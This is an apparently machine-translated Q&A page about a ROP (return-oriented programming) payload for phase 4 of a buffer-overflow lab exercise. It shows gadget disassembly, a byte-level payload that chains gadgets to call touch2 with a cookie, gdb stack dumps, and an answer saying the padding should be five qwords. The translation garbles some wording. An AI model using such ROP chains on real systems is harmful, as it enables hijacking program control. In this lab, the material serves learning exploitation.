我正在做的剥削是:

问题描述 投票:0回答:1
0000000000401f91 <addval_168>: 401f91: f3 0f 1e fa endbr64 401f95: 8d 87 0d 92 58 90 lea -0x6fa76df3(%rdi),%eax 401f9b: c3 retq

i使用0x401f99用作“ 58”的地址

popq %rax;

0000000000401fbd <addval_217>:
  401fbd:   f3 0f 1e fa             endbr64 
  401fc1:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  401fc7:   c3                      retq   

,我使用地址0x401FC3用于“ 48 89 C7 C3”,该地址是:

movq %rax, %rdi;
ret;

,我已经设置了这样的有效载荷:

00 00 00 00 00 00 00 00  # Padding (buffer overflow)
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
99 1f 40 00 00 00 00 00  # (First gadget: popq %rax)
10 76 a6 11 00 00 00 00  # (Cookie - gets popped into %rax)
c3 1f 40 00 00 00 00 00  # (Second gadget: movq %rax, %rdi)
9d 1d 40 00 00 00 00 00  # (Final gadget: touch2)
完全匹配答案的每个版本的格式,包括我的同学的最终答案。我仔细检查了cookie和touch2地址的格式,这个同学确保我对这种格式没有什么不同于他的正确条目。但是,我得到了这个结果:

ylx739:tesla22 ~/attack/target72> ./rtarget < phase4-raw.txt ./rtarget: /lib64/libcurl.so.4: no version information available (required by ./rtarget) Cookie: 0x11a67610 Type string:Misfire: You called touch2(0x00000001) FAILED

I在GET后立即将堆栈中的堆栈看,在相应的功能中调用以获取我的输入的缓冲区,并找到:

(gdb) x/20xg $rsp 0x7ffffff91620: 0x0000000000000000 0x0000000000000000 0x7ffffff91630: 0x0000000000401f99 0x0000000011a67610 0x7ffffff91640: 0x0000000000401fc3 0x0000000000401d9d 0x7ffffff91650: 0x0000000000403100 0x0000000000402752 0x7ffffff91660: 0xf4f4f4f4f4f4f4f4 0xf4f4f4f4f4f4f4f4

其中包含我所有的所有人都输入了代码,但是一旦我输入touch2(),我试图溢出的功能,我就会发现:

(gdb) print/x $rdi $1 = 0x7ffff7b389c0

是一些随机地址。我完全不确定为什么我的cookie不会被转移到RDI中。任何帮助将不胜感激。
*编辑:touch2,溢出的目标:

0000000000401d9d <touch2>: 401d9d: f3 0f 1e fa endbr64 401da1: 50 push %rax 401da2: 58 pop %rax 401da3: 48 83 ec 08 sub $0x8,%rsp 401da7: 89 fa mov %edi,%edx 401da9: c7 05 49 37 00 00 02 movl $0x2,0x3749(%rip) # 4054fc <vlevel> 401db0: 00 00 00 401db3: 39 3d 4b 37 00 00 cmp %edi,0x374b(%rip) # 405504 <cookie> 401db9: 74 2a je 401de5 <touch2+0x48> 401dbb: 48 8d 35 e6 14 00 00 lea 0x14e6(%rip),%rsi # 4032a8 <_IO_stdin_used+0x2a8>
GetBuf():溢出的功能:

(gdb) disas getbuf Dump of assembler code for function getbuf: 0x0000000000401d4f <+0>: endbr64 0x0000000000401d53 <+4>: sub $0x28,%rsp 0x0000000000401d57 <+8>: mov %rsp,%rdi 0x0000000000401d5a <+11>: callq 0x4021e7 <Gets> 0x0000000000401d5f <+16>: mov $0x1,%eax 0x0000000000401d64 <+21>: add $0x28,%rsp 0x0000000000401d68 <+25>: retq End of assembler dump.
    

包含脆弱呼叫的功能是使用5个QWOWS的堆栈帧,如该QWOWS所证明的那样。因此,您的有效载荷需要5个QWORD填充而不是3个。对于您当前的版本,前两个QWOWS被

getbuf

丢弃,因此您的第一个小工具永远不会被执行。因为
gets
做了您的第二个小工具会将其转移到

sub $0x28,%rsp

中,这就是您获得
add $0x28,%rsp
的原因。
assembly x86-64 machine-code exploit opcode
1个回答
0
投票

最新问题
© www.soinside.com 2019 - 2025. All rights reserved.